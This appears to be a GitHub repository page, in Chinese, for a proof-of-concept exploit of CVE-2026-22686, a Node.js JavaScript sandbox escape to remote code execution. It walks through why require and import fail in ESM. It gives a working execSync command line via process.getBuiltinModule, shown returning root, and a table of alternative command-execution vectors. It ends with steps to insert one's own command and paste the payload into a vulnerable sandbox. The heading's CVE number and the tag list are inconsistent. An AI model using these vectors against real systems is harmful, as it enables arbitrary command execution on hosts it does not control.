moltengama/CVE-2026-22686-RemoteCodeExecution-RCE-PoC
GitHub: moltengama/CVE-2026-22686-RemoteCodeExecution-RCE-PoC
针对 CVE-2026-22686 漏洞的概念验证工具,演示如何在 ESM 环境中利用「getBuiltinModule」API 实现沙箱逃逸并执行任意系统命令。
Stars: 1 | Forks: 0
## ESM 环境中的 RCE — `require` 问题
当通过 CVE-2026-22686 实现沙箱逃逸时,在
ESM 项目(`"type": "module"`)中执行 OS 命令需要绕过 Node.js 模块加载限制。
标准方法失败的原因如下:
| Vector | Result |
|--------|--------|
| `require('child_process')` | ❌ `require is not defined` — 在 ESM 中不可用 |
| `process.mainModule.require(...)` | ❌ `Cannot read properties of undefined` — `mainModule` 在 ESM 中为 `undefined` |
| `import('child_process')` | ❌ `A dynamic import callback was not specified` — 需要未在沙箱中配置的 hook |
| `process.binding('spawn_sync')` | ⚠️ 可用但层级过低 — 需要手动构造 syscall |
## 解决方案:进程枚举 → `process.getBuiltinModule`
我们不假设某种模块加载方法,而是直接从宿主上下文(沙箱逃逸后已可访问)
枚举 `process` 键:
```
return Object.keys(process)
```
在返回的键中,识别出了 `getBuiltinModule` — 这是一个 **Node.js 22+ 原生 API**,
专门设计用于允许 ESM 模块访问 Node.js 内置模块,
**无需 `require` 或 `import()`**。
```
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root) ✅ RCE confirmed
```
这是**关键洞察**:`process.getBuiltinModule` 是一个相对较新的 API
(Node.js >= 22.3.0),经常被那些拦截 `require` 和 `import` 的
沙箱实现和 WAF 规则所忽略。
## 替代向量(按 Node.js 版本)
根据目标环境,在枚举 `process` 后,
其他向量可能可用:
| Vector | Node.js Version | Notes |
|--------|----------------|-------|
| `process.getBuiltinModule('child_process')` | >= 22.3.0 | ✅ 最简洁 — 官方 ESM 安全 API |
| `process.binding('spawn_sync')` | All | ⚠️ 底层 API,需要手动构建缓冲区 |
| `process.mainModule.require(...)` | 仅 CJS | ❌ 在 ESM 中未定义 |
| `__non_webpack_require__` | Webpack 打包 | ⚠️ 特定环境 |
| `Module.createRequire(import.meta.url)` | >= 12.2.0 | ⚠️ 需要从宿主获取 `Module` 引用 |
| `process._linkedBinding('node_os')` | 内部构建 | ⚠️ 极少暴露 |
# CVE-2026-2268-RemoteCodeExecution-RCE-PoC
步骤:
1. 插入你的个人命令
2. 将生成的结果 payload 粘贴到你易受攻击的 js sandbox 解释器中
3. 享受结果
标签:child_process, CVE-2026-22686, ESM, EXP, getBuiltinModule, GNU通用公共许可证, MITM代理, Node.js, RCE, Web安全, Web报告查看器, 安全漏洞, 开放策略代理, 数据可视化, 模块加载绕过, 沙箱逃逸, 编程工具, 蓝队分析, 进程对象枚举, 远程代码执行